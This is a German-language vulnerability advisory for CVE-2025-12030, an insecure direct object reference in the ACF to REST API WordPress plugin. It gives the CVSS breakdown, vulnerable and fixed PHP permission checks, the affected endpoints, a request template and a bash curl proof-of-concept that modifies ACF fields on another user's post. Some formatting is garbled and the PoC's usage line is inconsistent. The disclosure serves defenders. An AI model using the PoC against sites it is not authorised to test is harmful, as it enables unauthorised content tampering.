
ACF to REST API WordPress Plugin IDOR-Sicherheitslücke (CVE-2025-12030) - Sicherheitslücke, die es authentifizierten Benutzern mit Mitwirkender-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Schlagwörter: CVE-2025-12030, ACF to REST API Schwachstelle, IDOR, WordPress-Sicherheit, authentifizierter Exploit, WordPress-Plugin-Schwachstelle, CWE-639, ACF-Feldänderung, Autorisierungsumgehung, WordPress CVE 2025, Advanced Custom Fields, REST API Sicherheit
ACF to REST API WordPress Plugin IDOR-Schwachstelle (CVE-2025-12030) – Sicherheitslücke, die authentifizierten Benutzern mit Contributor-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Eine Schwachstelle aufgrund einer unsicheren direkten Objektreferenz (IDOR) wurde im ACF to REST API WordPress Plugin entdeckt, die es authentifizierten Angreifern mit minimalen Berechtigungen ermöglicht, ACF-Felder in der gesamten WordPress-Installation zu ändern.
Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 6. Januar 2026
CVSS-Score: 4.3 (Mittel)
CWE: CWE-639 – Autorisierungsumgehung durch benutzergesteuerten Schlüssel
Plugin: ACF to REST API
Plugin-Slug: acf-to-rest-api
Angriffstyp: Unsichere direkte Objektreferenz (IDOR)
Erforderliche Berechtigungen: Contributor+ (authentifizierter Angriff)
Das ACF to REST API Plugin für WordPress ist in allen Versionen bis einschließlich 3.3.4 anfällig für eine unsichere direkte Objektreferenz. Dies liegt an unzureichenden Berechtigungsprüfungen in der Methode update_item_permissions_check(), die lediglich überprüft, ob der aktuelle Benutzer die Fähigkeit edit_posts besitzt, ohne objektspezifische Berechtigungen zu prüfen (z. B. edit_post($id), edit_user($id), manage_options).
Diese Schwachstelle ermöglicht es authentifizierten Angreifern mit Contributor-Zugriff und höher:
manage_optionsAlle Änderungen sind über die REST-API-Endpunkte /wp-json/acf/v3/{type}/{id} möglich.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metrik | Wert |
|--------|-------|
| Angriffsvektor | Netzwerk (AV:N) |
| Angriffskomplexität | Niedrig (AC:L) |
| Erforderliche Privilegien | Niedrig (PR:L) |
| Benutzerinteraktion | Keine (UI:N) |
| Umfang | Unverändert (S:U) |
| Vertraulichkeit | Keine (C:N) |
| Integrität | Niedrig (I:L) |
| Verfügbarkeit | Keine (A:N) |
**CVSS v3.1 Aufschlüsselung:**
- **Angriffsvektor (AV):** Netzwerk – Die Schwachstelle kann aus der Ferne über ein Netzwerk ausgenutzt werden
- **Angriffskomplexität (AC):** Niedrig – Für die Ausnutzung sind keine besonderen Bedingungen erforderlich
- **Erforderliche Privilegien (PR):** Niedrig – Erfordert eine Authentifizierung auf Beitrags-Ebene
- **Benutzerinteraktion (UI):** Keine – Der Exploit funktioniert ohne Benutzerinteraktion
- **Umfang (S):** Unverändert – Die Schwachstelle betrifft nur die anfällige Komponente
- **Vertraulichkeit (C):** Keine – Keine Offenlegung von Informationen
- **Integrität (I):** Niedrig – Unberechtigte Änderung von ACF-Feldern
- **Verfügbarkeit (A):** Keine – Keine Auswirkung auf die Verfügbarkeit
## Technische Details
### Ursache der Schwachstelle
Die Schwachstelle besteht in der Methode `update_item_permissions_check()`, die eine unzureichende Autorisierung durchführt:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
Die ordnungsgemäße Implementierung sollte objektspezifische Berechtigungen überprüfen:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Verwundbare Endpunkte
| Endpoint | Ziel | Erforderliche Berechtigung (Sollte sein) |
|----------|------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Beiträge | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Seiten | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Benutzer | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Kommentare | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Begriffe | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Optionen | `manage_options` |
### Angriffsvektor```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
Die Schwachstelle kann über die WordPress REST-API von jedem authentifizierten Benutzer mit mindestens der Rolle „Contributor“ ausgenutzt werden.
⚠️ Nur für Bildungs- und autorisierte Testzwecke
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool